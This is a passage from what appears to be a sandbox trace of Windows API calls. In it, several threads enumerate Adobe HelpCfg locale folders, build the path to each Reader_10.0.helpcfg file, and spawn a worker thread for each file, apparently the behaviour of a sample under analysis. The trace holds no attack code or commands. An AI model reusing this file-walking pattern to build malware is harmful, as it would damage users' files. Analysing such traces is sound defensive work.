_String2=".") returned 1 [0060.799] wcscmp (_String1="..", _String2="..") returned 0 [0060.799] FindNextFileW (in: hFindFile=0x4a60e0, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0060.799] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0060.799] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0060.799] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec5188 [0060.799] wcscpy (in: _Dest=0x5ec5188, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES" [0060.800] wcscat (in: _Dest=0x5ec5188, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\" [0060.800] wcscat (in: _Dest=0x5ec5188, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\Reader_10.0.helpcfg" Thread: id = 706 os_tid = 0x354 [0051.087] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45f6b8 [0051.087] wcscpy (in: _Dest=0x45f6b8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES" [0051.087] wcscat (in: _Dest=0x45f6b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\" [0051.088] wcscat (in: _Dest=0x45f6b8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\*" [0051.088] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x488000 [0051.088] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\*", lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6120 [0060.800] wcscmp (_String1=".", _String2=".") returned 0 [0060.800] FindNextFileW (in: hFindFile=0x4a6120, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.800] wcscmp (_String1="..", _String2=".") returned 1 [0060.800] wcscmp (_String1="..", _String2="..") returned 0 [0060.800] FindNextFileW (in: hFindFile=0x4a6120, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0060.800] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0060.800] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0060.800] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec5228 [0060.800] wcscpy (in: _Dest=0x5ec5228, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES" [0060.800] wcscat (in: _Dest=0x5ec5228, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\" [0060.800] wcscat (in: _Dest=0x5ec5228, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\Reader_10.0.helpcfg" [0065.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec5228, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1658 [0065.810] FindNextFileW (in: hFindFile=0x4a6120, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0065.810] FindClose (in: hFindFile=0x4a6120 | out: hFindFile=0x4a6120) returned 1 [0065.810] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x488000) returned 1 [0065.810] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45f6b8) returned 1 [0065.810] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b618) returned 1 Thread: id = 707 os_tid = 0xd00 [0051.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45f738 [0051.089] wcscpy (in: _Dest=0x45f738, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI" [0051.089] wcscat (in: _Dest=0x45f738, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\" [0051.089] wcscat (in: _Dest=0x45f738, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\*" [0051.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x484fe0 [0051.089] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\*", lpFindFileData=0x484fe0 | out: lpFindFileData=0x484fe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6160 [0060.801] wcscmp (_String1=".", _String2=".") returned 0 [0060.801] FindNextFileW (in: hFindFile=0x4a6160, lpFindFileData=0x484fe0 | out: lpFindFileData=0x484fe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.801] wcscmp (_String1="..", _String2=".") returned 1 [0060.801] wcscmp (_String1="..", _String2="..") returned 0 [0060.801] FindNextFileW (in: hFindFile=0x4a6160, lpFindFileData=0x484fe0 | out: lpFindFileData=0x484fe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0060.801] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0060.801] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0060.801] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec52c8 [0060.801] wcscpy (in: _Dest=0x5ec52c8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI" [0060.801] wcscat (in: _Dest=0x5ec52c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\" [0060.801] wcscat (in: _Dest=0x5ec52c8, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\Reader_10.0.helpcfg" [0065.388] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec52c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x113c [0065.389] FindNextFileW (in: hFindFile=0x4a6160, lpFindFileData=0x484fe0 | out: lpFindFileData=0x484fe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0065.389] FindClose (in: hFindFile=0x4a6160 | out: hFindFile=0x4a6160) returned 1 [0065.389] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x484fe0) returned 1 [0065.389] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45f738) returned 1 [0065.389] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b690) returned 1 Thread: id = 708 os_tid = 0x7c8 [0051.090] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45f7b8 [0051.090] wcscpy (in: _Dest=0x45f7b8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR" [0051.090] wcscat (in: _Dest=0x45f7b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\" [0051.090] wcscat (in: _Dest=0x45f7b8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\*" [0051.090] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x488268 [0051.090] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\*", lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a61a0 [0060.801] wcscmp (_String1=".", _String2=".") returned 0 [0060.801] FindNextFileW (in: hFindFile=0x4a61a0, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.801] wcscmp (_String1="..", _String2=".") returned 1 [0060.801] wcscmp (_String1="..", _String2="..") returned 0 [0060.801] FindNextFileW (in: hFindFile=0x4a61a0, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0060.802] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0060.802] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0060.802] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec5368 [0060.802] wcscpy (in: _Dest=0x5ec5368, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR" [0060.802] wcscat (in: _Dest=0x5ec5368, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\" [0060.802] wcscat (in: _Dest=0x5ec5368, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\Reader_10.0.helpcfg" [0065.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec5368, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x724 [0065.390] FindNextFileW (in: hFindFile=0x4a61a0, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0065.391] FindClose (in: hFindFile=0x4a61a0 | out: hFindFile=0x4a61a0) returned 1 [0065.391] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x488268) returned 1 [0065.391] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45f7b8) returned 1 [0065.391] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b708) returned 1 Thread: id = 709 os_tid = 0x7bc [0051.091] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45f838 [0051.091] wcscpy (in: _Dest=0x45f838, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR" [0051.091] wcscat (in: _Dest=0x45f838, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\" [0051.091] wcscat (in: _Dest=0x45f838, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\*" [0051.091] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4889a0 [0051.091] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\*", lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a61e0 [0060.802] wcscmp (_String1=".", _String2=".") returned 0 [0060.802] FindNextFileW (in: hFindFile=0x4a61e0, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.802] wcscmp (_String1="..", _String2=".") returned 1 [0060.802] wcscmp (_String1="..", _String2="..") returned 0 [0060.802] FindNextFileW (in: hFindFile=0x4a61e0, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0060.802] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0060.802] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0060.802] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec5408 [0060.802] wcscpy (in: _Dest=0x5ec5408, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR" [0060.802] wcscat (in: _Dest=0x5ec5408, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\" [0060.802] wcscat (in: _Dest=0x5ec5408, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\Reader_10.0.helpcfg" [0065.391] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec5408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x72c [0065.392] FindNextFileW (in: hFindFile=0x4a61e0, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0065.392] FindClose (in: hFindFile=0x4a61e0 | out: hFindFile=0x4a61e0) returned 1 [0065.392] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4889a0) returned 1 [0065.392] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45f838) returned 1 [0065.392] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b780) returned 1 Thread: id = 710 os_tid = 0x518 [0051.092] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45f8b8 [0051.092] wcscpy (in: _Dest=0x45f8b8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU" [0051.092] wcscat (in: _Dest=0x45f8b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\" [0051.092] wcscat (in: _Dest=0x45f8b8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\*" [0051.092] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x427398 [0051.092] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\*", lpFindFileData=0x427398 | out: lpFindFileData=0x427398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6220 [0060.803] wcscmp (_String1=".", _String2=".") returned 0 [0060.803] FindNextFileW (in: hFindFile=0x4a6220, lpFindFileData=0x427398 | out: lpFindFileData=0x427398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.803] wcscmp (_String1="..", _String2=".") returned 1 [0060.803] wcscmp (_String1="..", _String2="..") returned 0 [0060.803] FindNextFileW (in: hFindFile=0x4a6220, lpFindFileData=0x427398 | out: lpFindFileData=0x427398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0060.803] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0060.803] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0060.803] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec54a8 [0060.803] wcscpy (in: _Dest=0x5ec54a8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU" [0060.803] wcscat (in: _Dest=0x5ec54a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\" [0060.803] wcscat (in: _Dest=0x5ec54a8, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\Reader_10.0.helpcfg" [0065.393] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec54a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x730 [0065.394] FindNextFileW (in: hFindFile=0x4a6220, lpFindFileData=0x427398 | out: lpFindFileData=0x427398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 